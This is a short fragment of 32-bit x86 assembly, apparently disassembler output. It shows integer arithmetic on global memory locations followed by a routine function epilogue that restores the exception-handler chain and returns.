mov eax, dword [0x582364]
cdq
idiv ecx
add eax, dword [0x58295c]
add eax, dword [0x58294c]
add eax, dword [0x582968]
mov dword [0x582944], eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
leave
ret